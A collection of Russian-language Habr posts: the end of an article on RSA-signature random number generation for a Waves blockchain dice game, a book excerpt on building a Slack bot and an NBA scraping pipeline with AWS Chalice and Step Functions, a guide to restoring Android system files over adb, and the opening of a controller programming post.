let gameDataStr = FormatGameDataStr(STATESUBMITTED, playerChoice, playerPubKey58, height, winAmt, "")
ScriptResult(WriteSet(cons(DataEntry(RESERVATIONKEY, ValidateAndIncreaseReservedAmt(winAmt)), cons(DataEntry(GAMESCOUNTERKEY, newGameNum), cons(DataEntry(gameId, gameDataStr), nil)))), TransferSet(cons(ScriptTransfer(SERVER, COMMISSION, unit), nil)))
}
}
```
Функция записывает в стейт смарт-контракта новую игру. А именно:
* Уникальный идентификатор новой игры **(game id)**
* Game state = SUBMITTED
* Выбор игрока (длина отрезка 50)
* Публичный ключ
* Потенциальный выигрыш (зависит от ставки игрока)
Так выглядит запись данных в блокчейне (ключ-значение):
```
{
"type": "string",
"value": "03WON_0283_448t8Jn9P3717UnXFEVD5VWjfeGE5gBNeWg58H2aJeQEgJ_06574069_09116020000_0229",
"key": "2GKTX6NLTgUrE4iy9HtpSSHpZ3G8W4cMfdjyvvnc21dx"
}
```
«Ключ» (key) – **game id** новой игры. Остальные данные содержатся в строке поля «значение» (value). Эти записи хранятся во вкладке **Data** смарт-контракта:
5. Сервер «смотрит» на смарт-контракт и находит отправленную транзакцию (новую игру) с помощью Api блокчейна. Game id новой игры уже записан в блокчейне, а значит изменить или повлиять на нее уже нельзя
6. Сервер формирует withdraw-функцию (gameId, rsaSign). Например, такую:
```
withdraw ("FwsuaaShC6DMWdSWQ5osGWtYkVbTEZrsnxqDbVx5oUpq", "base64:Gy69dKdmXUEsAmUrpoWxDLTQOGj5/qO8COA+QjyPVYTAjxXYvEESJbSiCSBRRCOAliqCWwaS161nWqoTL/TltiIvw3nKyd4RJIBNSIgEWGM1tEtNwwnRwSVHs7ToNfZ2Dvk/GgPUqLFDSjnRQpTHdHUPj9mQ8erWw0r6cJXrzfcagKg3yY/0wJ6AyIrflR35mUCK4cO7KumdvC9Mx0hr/ojlHhN732nuG8ps4CUlRw3CkNjNIajBUlyKQwpBKmmiy3yJa/QM5PLxqdppmfFS9y0sxgSlfLOgZ51xRDYuS8NViOA7c1JssH48ZtDbBT5yqzRJXs3RnmZcMDr/q0x6Bg==")
```
7. Сервер отправляет Invocation-транзакцию на смарт-контракт (broadcast InvocationTx). Транзакция содержит вызов сформированной withdraw-функции (gameId, rsaSign):
Функция содержит **game id** новой игры и результат RSA-подписи уникального идентификатора приватным ключом. Результат подписи неизменен.
*Что это значит?*
Берем одно и то же значение (game id) и применяем к нему метод RSA-подписи. Будем всегда получать один и тот же результат. Так работает RSA-алгоритм. Нельзя манипулировать финальным числом, так как game id и результат применения RSA не известен. Подбирать число также бессмысленно.
8. Блокчейн принимает транзакцию. Она запускает withdraw-функцию (gameId, rsaSign)
9. Внутри withdraw-функции происходит вывоз **GenerateRandInt-функции** (gameId, rsaSign). Это и есть генератор случайных чисел
```
# @return 1 ... 100
func GenerateRandInt (gameId,rsaSign) = {
# verify RSA signature to proof random
let rsaSigValid = rsaVerify (SHA256, toBytes(gameId), rsaSign, RSAPUBLIC)
if (rsaSigValid)
then {
let rand = (toInt(sha256(rsaSign)) % 100)
if ((0 > rand))
then ((-1 * rand) + 1)
else (rand + 1)
}
else throw ("Invalid RSA signature")
}
```
**rand** – и есть случайное число.
Сначала берется строка, которая является результатом RSA-подписи **game id** приватным ключом (**rsaSign**). Затем хэшируется с помощью SHA-256 (**sha256(rsaSign)**).
Мы не можем предсказать результат подписи и последующего хэширования. Поэтому невозможно повлиять на генерацию случайного числа. Чтобы получить число в определенном диапазоне (например, от 1 до 100), применяется функция преобразования toInt и %100 (аналог [mod](https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D1%81_%D0%BE%D1%81%D1%82%D0%B0%D1%82%D0%BA%D0%BE%D0%BC)).
В начале статьи мы упоминали функцию **rsaVerify()**, которая позволяет проверить валидность RSA-подписи приватным ключом по публичному. Вот часть GenerateRandInt (gameId,rsaSign):
```
rsaVerify (SHA256, toBytes(gameId), rsaSign, RSAPUBLIC)
```
На вход передается публичный ключ RSAPUBLIC и строка rsaSign. Подпись проверяется на валидность. Число генерируется в случае успешной проверки. В обратном случае система считает, что подпись не валидна (Invalid RSA signature).
Сервер должен подписать game id игры приватным ключом и отправить валидную Rsa-подпись в течение 2880 блоков. Параметр настраивается при деплое смарт-контракта. Если за отведенное время ничего не происходит, пользователь выигрывает. В этом случае приз нужно отправить на свой адрес самостоятельно. Получается, серверу «не выгодно обманывать», ведь это ведет к проигрышу. Ниже – пример.
Пользователь играет в [Dice Roller](https://www.dappocean.io/dapp/DICES). Выбрал 2 из 6 граней кубика, ставка – 14 WAVES. Если сервер не пришлет валидную RSA-подпись на смарт-контракт в течение установленного времени (2880 блоков), пользователь заберет 34.44 WAVES.
Для генерации чисел в играх мы используем оракул – внешнюю, не блокчейновую систему. Сервер осуществляет RSA-подпись game id. Смарт-контракт проверяет валидность подписи и определяет победителя. Если сервер не прислал ничего, то пользователь автоматически побеждает.
Описанный метод гарантирует, что манипуляция технически невозможна. Во всех играх Tradisys используется алгоритм, поэтому они честные и прозрачные. Все поддается публичной проверке. Это и обеспечивает честность. | https://habr.com/ru/post/464357/ | null | ru | null |
# Книга «Прагматичный ИИ. Машинное обучение и облачные технологии»
[](https://habr.com/ru/company/piter/blog/439990/) Привет, Хаброжители! Эта книга Ноя Гифта предназначена для всех, кого интересуют ИИ, машинное обучение, облачные вычисления, а также любое сочетание данных тем. Как программисты, так и просто неравнодушные технари найдут тут для себя полезную информацию. Примеры кода даны на Python. Здесь рассматривается множество столь продвинутых тем, как использование облачных платформ (например, AWS, GCP и Azure), а также приемы машинного обучения и реализация ИИ. Джедаи, свободно ориентирующиеся в Python, облачных вычислениях и ML, также найдут для себя много полезных идей, которые смогут сразу применить в своей текущей работе.
Предлагаем ознакомиться с отрывком из книги «Создание интеллектуального бота Slack в AWS»
Люди давно мечтают создать «искусственную жизнь». Чаще всего пока это возможно путем создания ботов. Боты становятся все более неотъемлемой частью нашей повседневной жизни, особенно после появления Siri от компании Apple и Alexa от Amazon. В этой главе мы раскроем все тайны создания ботов.
### Создание бота
Для создания бота мы воспользуемся библиотекой Slack для языка Python (https://github.com/slackapi/python-slackclient). Для начала работы со Slack необходимо сгенерировать идентификационный маркер. В целом имеет смысл при работе с подобными маркерами экспортировать переменную среды. Я часто делаю это в virtualenv, получая, таким образом, автоматически доступ к ней при выполнении в текущей среде. Для этого необходимо немного «взломать» утилиту virtualenv, отредактировав сценарий activate.
При экспорте переменной Slack в сценарии ~/.env/bin/activate он будет иметь нижеприведенный вид.
И просто для информации, если вы хотите идти в ногу с последними новинками, рекомендуется использовать появившуюся на рынке новую, официальную утилиту Python для управления средой — pipenv (https://github.com/pypa/pipenv):
```
_OLD_VIRTUAL_PATH="$PATH"
PATH="$VIRTUAL_ENV/bin:$PATH"
export PATH
SLACK_API_TOKEN=
export SLACK\_API\_TOKEN
```
Для проверки того, задано ли значение переменной среды, удобно использовать команду printenv операционных систем OS X и Linux. После этого для проверки отправки сообщения можно воспользоваться следующим коротким сценарием:
```
import os
from slackclient import SlackClient
slack_token = os.environ["SLACK_API_TOKEN"]
sc = SlackClient(slack_token)
sc.api_call(
"chat.postMessage",
channel="#general",
text="Hello from my bot! :tada:"
)
```
Стоит также отметить, что утилита pipenv — рекомендуемое решение, объединяющее в одном компоненте возможности утилит pip и virtualenv. Она стала новым стандартом, так что имеет смысл взглянуть на нее с точки зрения управления пакетами.
### Преобразование библиотеки в утилиту командной строки
Как и в других примерах из этой книги, удачной идеей будет преобразовать наш код в утилиту командной строки, чтобы облегчить проверку новых идей. Стоит отметить, что многие разработчики-новички часто отдают предпочтение не утилитам командной строки, а другим решениям, например, просто работают в блокнотах Jupiter. Сыграю ненадолго роль адвоката дьявола и задам вопрос, который вполне может возникнуть у читателей: «А зачем нам утилиты командной строки в проекте, основанном на блокнотах Jupiter? Разве смысл блокнотов Jupiter состоит не в том, чтобы сделать ненужными командную оболочку и командную строку?» Добавление утилиты командной строки в проект хорошо тем, что позволяет быстро пробовать различные варианты входных данных. Блоки кода блокнотов Jupiter не принимают входные данные, в некотором смысле это сценарии с жестко «зашитыми» данными.
Множество утилит командной строки на платформах как GCP, так и AWS существует не случайно: они обеспечивают гибкость и возможности, недоступные для графических интерфейсов. Замечательный сборник эссе на эту тему фантаста Нила Стивенсона (Neal Stephenson) называется «В начале… была командная строка». В нем Стивенсон говорит: «GUI приводят к значительным дополнительным накладным расходам на каждый, даже самый маленький компонент программного обеспечения, которые полностью меняют среду программирования». Он заканчивает сборник словами: «… жизнь — штука очень тяжелая и сложная; никакой интерфейс это не изменит; и всякий, кто считает иначе, — простофиля...» Достаточно жестко, но мой опыт подсказывает, что и достаточно правдиво. Жизнь с командной строкой становится лучше. Попробуйте ее — и вы не захотите возвращаться обратно к GUI.
Для этого мы воспользуемся пакетом click, как показано ниже. Отправка сообщений с помощью нового интерфейса оказывается очень простым делом.
```
./clibot.py send --message "from cli"
sending message from cli to #general
```
Рисунок 7.1 демонстрирует значения по умолчанию, а также настраиваемое сообщение от утилиты cli.
```
#!/usr/bin/env python
import os
import click
from slackclient import SlackClient
SLACK_TOKEN = os.environ["SLACK_API_TOKEN"]
def send_message(channel="#general",
message="Hello from my bot!"):
"""Отправить сообщение на канал"""
slack_client = SlackClient(SLACK_TOKEN)
res = slack_client.api_call(
"chat.postMessage",
channel=channel,
text=message
)
return res
@click.group()
@click.version_option("0.1")
def cli():
"""
Утилита командной строки для слабаков
"""
@cli.command("send")
@click.option("--message", default="Hello from my bot!",
help="text of message")
@click.option("--channel", default="#general",
help="general channel")
def send(channel, message):
click.echo(f"sending message {message} to {channel}")
send_message(channel, message=message)
if __name__ == '__main__':
cli()
```
### Выводим бот на новый уровень с помощью сервиса AWS Step Functions
После создания каналов связи для отправки сообщений в Slack можно усовершенствовать наш код, а именно: запускать его по расписанию и использовать для каких-либо полезных действий. Сервис пошаговых функций AWS (AWS Step Functions) замечательно подходит для этой цели. В следующем разделе наш бот Slack научится производить скрапинг спортивных страниц Yahoo! игроков НБА, извлекать их места рождения, а затем отправлять эти данные в Slack.
Рисунок 7.2 демонстрирует готовую пошаговую функцию в действии. Первый шаг состоит в извлечении URL профилей игроков НБА, а второй — в использовании библиотеки Beautiful Soup для поиска места рождения каждого из игроков. По завершении выполнения пошаговой функции результаты будут отправлены обратно в Slack.
Для координации отдельных частей работы внутри пошаговой функции можно применить AWS Lambda и Chalice. Lambda (https://aws.amazon.com/lambda/) позволяет пользователю выполнять функции в AWS, а фреймворк Chalice (http://chalice.readthedocs.io/en/latest/) дает возможность создания бессерверных приложений на языке Python. Вот некоторые предварительные требования:
* у пользователя должна быть учетная запись AWS;
* пользователю необходимы учетные данные для использования API;
* у роли Lambda (создаваемой Chalice) должна быть политика с привилегиями, необходимыми для вызова соответствующих сервисов AWS, например S3.
### Настройка учетных данных IAM
Подробные инструкции по настройке учетных данных AWS можно найти по адресу [boto3.readthedocs.io/en/latest/guide/configuration.html](http://boto3.readthedocs.io/en/latest/guide/configuration.html). Информацию об экспорте переменных AWS в операционных системах Windows и Linux [можно найти здесь](https://docs.aws.amazon.com/amazonswf/latest/awsrbflowguide/set-up-creds.html). Существует множество способов настройки учетных данных, но пользователи virtualenv могут поместить учетные данные AWS в локальную виртуальную среду, в сценарий /bin/activate:
```
#Добавляем ключи AWS
AWS_DEFAULT_REGION=us-east-1
AWS_ACCESS_KEY_ID=xxxxxxxx
AWS_SESSION_TOKEN=xxxxxxxx
```
```
#Экспортируем ключи
export AWS_DEFAULT_REGION
export AWS_ACCESS_KEY_ID
export AWS_DEFAULT_REGION
```
Работа с Chalice. У Chalice есть утилита командной строки с множеством доступных команд:
```
Usage: chalice [OPTIONS] COMMAND [ARGS]...
Options:
--version Show the version and exit.
--project-dir TEXT The project directory. Defaults to CWD
--debug / --no-debug Print debug logs to stderr.
--help Show this message and exit.
Commands:
delete
deploy
gen-policy
generate-pipeline Generate a cloudformation template for a...
generate-sdk
local
logs
new-project
package
url
```
Код внутри шаблона app.py можно заменить на функции сервиса Lambda. В AWS Chalice удобно то, что он дает возможность создавать, помимо веб-сервисов, «автономные» функции Lambda. Благодаря этой функциональности можно создать несколько функций Lambda, связать их с пошаговой функцией и свести воедино, как кубики «Лего».
Например, можно легко создать запускаемую по расписанию функцию Lambda, которая будет выполнять какие-либо действия:
```
@app.schedule(Rate(1, unit=Rate.MINUTES))
def every_minute(event):
"""Событие, запланированное для ежеминутного выполнения"""
#Отправка сообщения боту Slack
```
Для налаживания взаимодействия с ботом для веб-скрапинга необходимо создать несколько функций. В начале файла находятся импорты и объявлено некоторое количество переменных:
```
import logging
import csv
from io import StringIO
import boto3
from bs4 import BeautifulSoup
import requests
from chalice import (Chalice, Rate)
APP_NAME = 'scrape-yahoo'
app = Chalice(app_name=APP_NAME)
app.log.setLevel(logging.DEBUG)
```
Боту может понадобиться хранить часть данных в S3. Следующая функция использует Boto для сохранения результатов в CSV-файле:
```
def create_s3_file(data, name="birthplaces.csv"):
csv_buffer = StringIO()
app.log.info(f"Creating file with {data} for name")
writer = csv.writer(csv_buffer)
for key, value in data.items():
writer.writerow([key,value])
s3 = boto3.resource('s3')
res = s3.Bucket('aiwebscraping').\
put_object(Key=name, Body=csv_buffer.getvalue())
return res
```
Функция fetch\_page использует [библиотеку Beautiful Soup](https://www.crummy.com/software/BeautifulSoup) для синтаксического разбора HTML-страницы, расположенной в соответствии с URL статистики НБА, и возвращает объект soup:
```
def fetch_page(url="https://sports.yahoo.com/nba/stats/"):
"""Извлекает URL Yahoo"""
#Скачивает страницу и преобразует ее в объект
# библиотеки Beautiful Soup
app.log.info(f"Fetching urls from {url}")
res = requests.get(url)
soup = BeautifulSoup(res.content, 'html.parser')
return soup
```
Функции get\_player\_links и fetch\_player\_urls получают ссылки на URL профилей игроков:
```
def get_player_links(soup):
"""Получает ссылки из URL игроков
Находит все URL на странице в тегах 'a' и фильтрует их в поисках
строки 'nba/players'
"""
nba_player_urls = []
for link in soup.find_all('a'):
link_url = link.get('href')
#Отбрасываем неподходящие
if link_url:
if "nba/players" in link_url:
print(link_url)
nba_player_urls.append(link_url)
return nba_player_urls
def fetch_player_urls():
"""Возвращает URL игроков"""
soup = fetch_page()
urls = get_player_links(soup)
return urls
```
Далее в функции find\_birthplaces мы извлекаем с расположенных по этим URL страниц места рождения игроков:
```
def find_birthplaces(urls):
"""Получаем места рождения со страниц профилей игроков NBA
на Yahoo"""
birthplaces = {}
for url in urls:
profile = requests.get(url)
profile_url = BeautifulSoup(profile.content, 'html.parser')
lines = profile_url.text
res2 = lines.split(",")
key_line = []
for line in res2:
if "Birth" in line:
#print(line)
key_line.append(line)
try:
birth_place = key_line[0].split(":")[-1].strip()
app.log.info(f"birth_place: {birth_place}")
except IndexError:
app.log.info(f"skipping {url}")
continue
birthplaces[url] = birth_place
app.log.info(birth_place)
return birthplaces
```
Теперь мы перейдем к функциям Chalice. Обратите внимание: для фреймворка Chalice необходимо, чтобы был создан путь по умолчанию:
```
#Их можно вызвать с помощью HTTP-запросов
@app.route('/')
def index():
"""Корневой URL"""
app.log.info(f"/ Route: for {APP_NAME}")
return {'app_name': APP_NAME}
```
Следующая функция Lambda представляет собой маршрут, связывающий HTTP URL с написанной ранее функцией:
```
@app.route('/player_urls')
def player_urls():
"""Извлекает URL игроков"""
app.log.info(f"/player_urls Route: for {APP_NAME}")
urls = fetch_player_urls()
return {"nba_player_urls": urls}
```
Следующие функции Lambda — автономные, их можно вызвать внутри пошаговой функции:
```
#Это автономная функция Lambda
@app.lambda_function()
def return_player_urls(event, context):
"""Автономная функция Lambda, возвращающая URL игроков"""
app.log.info(f"standalone lambda 'return_players_urls'\
{APP_NAME} with {event} and {context}")
urls = fetch_player_urls()
return {"urls": urls}
#Это автономная функция Lambda
@app.lambda_function()
def birthplace_from_urls(event, context):
"""Находит места рождения игроков"""
app.log.info(f"standalone lambda 'birthplace_from_urls'\
{APP_NAME} with {event} and {context}")
payload = event["urls"]
birthplaces = find_birthplaces(payload)
return birthplaces
#Это автономная функция Lambda
@app.lambda_function()
def create_s3_file_from_json(event, context):
"""Создает файл S3 на основе данных в формате JSON"""
app.log.info(f"Creating s3 file with event data {event}\
and context {context}")
print(type(event))
res = create_s3_file(data=event)
app.log.info(f"response of putting file: {res}")
return True
```
Если запустить получившееся приложение Chalice локально, будут выведены следующие результаты:
```
→ scrape-yahoo git:(master) chalice local
Serving on 127.0.0.1:8000
scrape-yahoo - INFO - / Route: for scrape-yahoo
127.0.0.1 - - [12/Dec/2017 03:25:42] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [12/Dec/2017 03:25:42] "GET /favicon.ico"
scrape-yahoo - INFO - / Route: for scrape-yahoo
127.0.0.1 - - [12/Dec/2017 03:25:45] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [12/Dec/2017 03:25:45] "GET /favicon.ico"
scrape-yahoo - INFO - /player_urls Route: for scrape-yahoo
scrape-yahoo - INFO - https://sports.yahoo.com/nba/stats/
https://sports.yahoo.com/nba/players/4563/
https://sports.yahoo.com/nba/players/5185/
https://sports.yahoo.com/nba/players/3704/
https://sports.yahoo.com/nba/players/5012/
https://sports.yahoo.com/nba/players/4612/
https://sports.yahoo.com/nba/players/5015/
https://sports.yahoo.com/nba/players/4497/
https://sports.yahoo.com/nba/players/4720/
https://sports.yahoo.com/nba/players/3818/
https://sports.yahoo.com/nba/players/5432/
https://sports.yahoo.com/nba/players/5471/
https://sports.yahoo.com/nba/players/4244/
https://sports.yahoo.com/nba/players/5464/
https://sports.yahoo.com/nba/players/5294/
https://sports.yahoo.com/nba/players/5336/
https://sports.yahoo.com/nba/players/4390/
https://sports.yahoo.com/nba/players/4563/
https://sports.yahoo.com/nba/players/3704/
https://sports.yahoo.com/nba/players/5600/
https://sports.yahoo.com/nba/players/4624/
127.0.0.1 - - [12/Dec/2017 03:25:53] "GET /player_urls"
127.0.0.1 - - [12/Dec/2017 03:25:53] "GET /favicon.ico"
```
Для развертывания приложения выполните команду chalice deploy:
```
→ scrape-yahoo git:(master) chalice deploy
Creating role: scrape-yahoo-dev
Creating deployment package.
Creating lambda function: scrape-yahoo-dev
Initiating first time deployment.
Deploying to API Gateway stage: api
https://bt98uzs1cc.execute-api.us-east-1.amazonaws.com/api/
```
Благодаря интерфейсу командной строки для HTTP (https://github.com/jakubroztocil/httpie) мы вызываем маршрут HTTP из AWS и извлекаем доступные в /api/player\_urls ссылки:
```
→ scrape-yahoo git:(master) http \
https://.amazonaws.com/api/player\_urls
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 941
Content-Type: application/json
Date: Tue, 12 Dec 2017 11:48:41 GMT
Via: 1.1 ba90f9bd20de9ac04075a8309c165ab1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ViZswjo4UeHYwrc9e-5vMVTDhV\_Ic0dhVIG0BrDdtYqd5KWcAuZKKQ==
X-Amzn-Trace-Id: sampled=0;root=1-5a2fc217-07cc12d50a4d38a59a688f5c
X-Cache: Miss from cloudfront
x-amzn-RequestId: 64f24fcd-df32-11e7-a81a-2b511652b4f6
{
"nba\_player\_urls": [
"https://sports.yahoo.com/nba/players/4563/",
"https://sports.yahoo.com/nba/players/5185/",
"https://sports.yahoo.com/nba/players/3704/",
"https://sports.yahoo.com/nba/players/5012/",
"https://sports.yahoo.com/nba/players/4612/",
"https://sports.yahoo.com/nba/players/5015/",
"https://sports.yahoo.com/nba/players/4497/",
"https://sports.yahoo.com/nba/players/4720/",
"https://sports.yahoo.com/nba/players/3818/",
"https://sports.yahoo.com/nba/players/5432/",
"https://sports.yahoo.com/nba/players/5471/",
"https://sports.yahoo.com/nba/players/4244/",
"https://sports.yahoo.com/nba/players/5464/",
"https://sports.yahoo.com/nba/players/5294/",
"https://sports.yahoo.com/nba/players/5336/",
"https://sports.yahoo.com/nba/players/4390/",
"https://sports.yahoo.com/nba/players/4563/",
"https://sports.yahoo.com/nba/players/3704/",
"https://sports.yahoo.com/nba/players/5600/",
"https://sports.yahoo.com/nba/players/4624/"
]
}
```
Еще один удобный способ работы с функциями Lambda — непосредственный их вызов с помощью пакета click и библиотеки Boto языка Python.
Мы можем создать новую утилиту командной строки с названием wscli.py (сокращение от web-scraping command-line interface — «интерфейс командной строки для веб-скрапинга»). В первой части кода мы настраиваем журналирование и импортируем библиотеки:
```
#!/usr/bin/env python
import logging
import json
import boto3
import click
from pythonjsonlogger import jsonlogger
#Инициализация журналирования
log = logging.getLogger(__name__)
log.setLevel(logging.INFO)
LOGHANDLER = logging.StreamHandler()
FORMMATTER = jsonlogger.JsonFormatter()
LOGHANDLER.setFormatter(FORMMATTER)
log.addHandler(LOGHANDLER)
```
Следующие три функции предназначены для подключения к функции Lambda через invoke\_lambda:
```
###Вызовы API Boto Lambda
def lambda_connection(region_name="us-east-1"):
"""Создаем подключение к Lambda"""
lambda_conn = boto3.client("lambda", region_name=region_name)
extra_msg = {"region_name": region_name, "aws_service": "lambda"}
log.info("instantiate lambda client", extra=extra_msg)
return lambda_conn
def parse_lambda_result(response):
"""Получаем результаты из ответа библиотеки Boto в формате JSON"""
body = response['Payload']
json_result = body.read()
lambda_return_value = json.loads(json_result)
return lambda_return_value
def invoke_lambda(func_name, lambda_conn, payload=None,
invocation_type="RequestResponse"):
"""Вызываем функцию Lambda"""
extra_msg = {"function_name": func_name, "aws_service": "lambda",
"payload":payload}
log.info("Calling lambda function", extra=extra_msg)
if not payload:
payload = json.dumps({"payload":"None"})
response = lambda_conn.invoke(FunctionName=func_name,
InvocationType=invocation_type,
Payload=payload
)
log.info(response, extra=extra_msg)
lambda_return_value = parse_lambda_result(response)
return lambda_return_value
```
Обертываем функцию invoke\_lambda с помощью пакета Python для создания утилит командной строки Click. Обратите внимание, что мы задали значение по умолчанию для опции --func, при котором используется развернутая нами ранее функция Lambda:
```
@click.group()
@click.version_option("1.0")
def cli():
"""Вспомогательная утилита командной строки для веб-скрапинга"""
@cli.command("lambda")
@click.option("--func",
default="scrape-yahoo-dev-return_player_urls",
help="name of execution")
@click.option("--payload", default='{"cli":"invoke"}',
help="name of payload")
def call_lambda(func, payload):
"""Вызывает функцию Lambda
./wscli.py lambda
"""
click.echo(click.style("Lambda Function invoked from cli:",
bg='blue', fg='white'))
conn = lambda_connection()
lambda_return_value = invoke_lambda(func_name=func,
lambda_conn=conn,
payload=payload)
formatted_json = json.dumps(lambda_return_value,
sort_keys=True, indent=4)
click.echo(click.style(
"Lambda Return Value Below:", bg='blue', fg='white'))
click.echo(click.style(formatted_json,fg="red"))
if __name__ == "__main__":
cli()
```
Выводимые этой утилитой результаты аналогичны вызову HTTP-интерфейса:
```
→ X ./wscli.py lambda \
--func=scrape-yahoo-dev-birthplace_from_urls\
--payload '{"url":["https://sports.yahoo.com/nba/players/4624/",\
"https://sports.yahoo.com/nba/players/5185/"]}'
Lambda Function invoked from cli:
{"message": "instantiate lambda client",
"region_name": "us-east-1", "aws_service": "lambda"}
{"message": "Calling lambda function",
"function_name": "scrape-yahoo-dev-birthplace_from_urls",
"aws_service": "lambda", "payload":
"{\"url\":[\"https://sports.yahoo.com/nba/players/4624/\",
\"https://sports.yahoo.com/nba/players/5185/\"]}"}
{"message": null, "ResponseMetadata":
{"RequestId": "a6049115-df59-11e7-935d-bb1de9c0649d",
"HTTPStatusCode": 200, "HTTPHeaders":
{"date": "Tue, 12 Dec 2017 16:29:43 GMT", "content-type":
"application/json", "content-length": "118", "connection":
"keep-alive", "x-amzn-requestid":
"a6049115-df59-11e7-935d-bb1de9c0649d",
"x-amzn-remapped-content-length": "0", "x-amz-executed-version":
"$LATEST", "x-amzn-trace-id":
"root=1-5a3003f2-2583679b2456022568ed0682;sampled=0"},
"RetryAttempts": 0}, "StatusCode": 200,
"ExecutedVersion": "$LATEST", "Payload":
"",
"function\_name": "scrape-yahoo-dev-birthplace\_from\_urls",
"aws\_service": "lambda", "payload":
"{\"url\":[\"https://sports.yahoo.com/nba/players/4624/\",
\"https://sports.yahoo.com/nba/players/5185/\"]}"}
Lambda Return Value Below:
{
"https://sports.yahoo.com/nba/players/4624/": "Indianapolis",
"https://sports.yahoo.com/nba/players/5185/": "Athens"
}
```
### Завершение создания пошаговой функции
Последний этап создания пошаговой функции, как описывается в документации от AWS (https://docs.aws.amazon.com/step-functions/latest/dg/tutorial-creating-activity-state-machine.html), — создание с помощью веб-интерфейса структуры конечного автомата в формате нотации объектов JavaScript (JavaScript Object Notation, JSON). Следующий код демонстрирует этот конвейер, начиная от исходных функций Lambda для скрапинга Yahoo!, сохранения данных в файле S3 и, наконец, отправки содержимого в Slack:
```
{
"Comment": "Fetch Player Urls",
"StartAt": "FetchUrls",
"States": {
"FetchUrls": {
"Type": "Task",
"Resource": \
"arn:aws:lambda:us-east-1:561744971673:\
function:scrape-yahoo-dev-return_player_urls",
"Next": "FetchBirthplaces"
},
"FetchBirthplaces": {
"Type": "Task",
"Resource": \
"arn:aws:lambda:us-east-1:561744971673:\
function:scrape-yahoo-dev-birthplace_from_urls",
"Next": "WriteToS3"
},
"WriteToS3": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:\
561744971673:function:scrape-yahoo-dev-create_s3_file_from_json",
"Next": "SendToSlack"
},
"SendToSlack": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:561744971673:\
function:send_message",
"Next": "Finish"
},
"Finish": {
"Type": "Pass",
"Result": "Finished",
"End": true
}
}
}
```
На рис. 7.2 было показано выполнение первой части этого конвейера. Чрезвычайно полезна возможность видеть промежуточные результаты работы конечного автомата. Кроме того, возможность мониторинга в режиме реального времени каждой части конечного автомата очень удобна для отладки.
Рисунок 7.3 демонстрирует полный конвейер с добавлением шагов записи в S3-файл и отправки содержимого в Slack. Осталось только решить, как запускать эту утилиту скрапинга — через определенный интервал времени или в ответ на какое-либо событие.
### Резюме
В этой главе вы познакомились с множеством потрясающих концепций построения приложений ИИ. В ней были созданы бот Slack и утилита веб-скрапинга, соединенные затем с помощью бессерверных сервисов от AWS. В такой начальный каркас можно добавить еще много всего — например, Lambda-функцию обработки написанных на естественных языках текстов для чтения веб-страниц и получения их краткого содержимого или алгоритм кластеризации без учителя, который бы кластеризовал новых игроков НБА по произвольным атрибутам.
» Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/new/product/pragmatichnyy-ii-mashinnoe-obuchenie-i-oblachnye-tehnologii?_gs_cttl=120&gs_direct_link=1&gsaid=82744&gsmid=29789&gstid=c)
» [Оглавление](https://storage.piter.com/upload/contents/978544611061/978544611061_X.pdf)
» [Отрывок](https://storage.piter.com/upload/contents/978544611061/978544611061_p.pdf)
Для Хаброжителей скидка 20% по купону — **Гифт**
P.S.: 7% от стоимости книги пойдет на перевод новых компьютерных книг, список сданных в типографию книг [здесь](https://www.piter.com/collection/skoro). | https://habr.com/ru/post/439990/ | null | ru | null |
# Замена системных файлов Android с помощью adb
Способ может быть полезен в том случае, если «уже ничего не помогает», доступа к Root Explorer нет или телефон вообще не может загрузиться. В моем случае, пришлось в «боевом» режиме восстанавливать удалённый по глупости SystemUI.apk. При этом на телефоне что-то делать можно было только в доли секунды между нажатием кнопки «ОК» на предыдущем окне с ошибкой и появлением следующего такого же окна. Перепрошиваться не хотелось, потому пришлось срочно осваивать adb.
Итак, для того, чтобы подключить свой гуглофон к adb, вам нужно:
1) [Android SDK](http://developer.android.com/sdk/index.html) для Вашей системы (здесь — на примере GNU/Linux Ubuntu)
2) Android SDK Platform-tools (устанавливаются выбором соответствующей галочки в Android SDK)
3) В «Параметры — Программы — Отладка» должна стоять галочка на «Отладка по USB»
4) Подключить телефон к USB
5) В моём случае пришлось сделать еще две вещи:
указать ID производителя телефона idVendor (его можно найти [здесь](http://developer.android.com/guide/developing/device.html)):
`#echo SUBSYSTEM=="usb", SYSFS{idVendor}=="~~0bb4~~", MODE="0666" > /etc/udev/rules.d/51-android.rules
#chmod a+r /etc/udev/rules.d/51-android.rules`
где 0bb4 заменяем на код своего производителя, после чего перезапустить adb
`#adb kill-server
#adb start-server`
Итак, все установлено и подключено, вы добавили путь к platform-tools в переменную $PATH своей операционной системы или перешли в эту папку с помощью команды cd. По команде «adb devices» должен выдавать некий номер и справа от него «device». Это значит, что adb видит телефон и может с ним работать. Если вместо «device» что-то другое или вообще «List of devices attached» — проблема где-то на 4-5 шаге.
Далее вам нужно поместить системный файл, который вы хотите установить, в папку platform-tools. То есть запасная копия системного файла должна быть приготовлена заранее или скопирована с аналогичного телефона.
После этого можно закинуть системный файл в /system/app такой последовательностью команд:
`$adb push YourFile.apk /data/Yourfile.apk
$adb remount
$adb shell
$su
#cp -f /data/YourFile.apk /system/app/Yourfile.apk
#chmod 644 /system/app/YourFile.apk
#exit
$exit
$adb reboot`
где YourFile.apk — имя вашего системного файла, причем регистр букв имеет значение.
После последней команды Ваш телефон должен перезагрузиться уже с новыми файлами.
Если на команду «adb remount» Вы получаете ответ «remount failed: Operation not permitted», то попробуйте вместо нее после «su» ввести "#mount -o rw,remount -t yaffs2 /dev/block/mtdblock3 /system".
P.S.: В линуксе, если platform-tools не добавлена в $PATH, вместо «adb» нужно писать "./adb".
В этой статье команды, которые я запускал от имени обычного пользователя обозначены символом $ в начале строки, от имени root — символом #. | https://habr.com/ru/post/305288/ | null | ru | null |
# Lavritech V7.1 Lite: программируем ESP32 и Wirenboard модули
[](https://habr.com/ru/post/691994/)
В двух предыдущих статьях я дал общее описание контроллера Lavritech V7.1 Lite и рассказал о его схемотехнике, сегодня я попытаюсь осветить ещё один важный аспект — программирование этого контроллера.
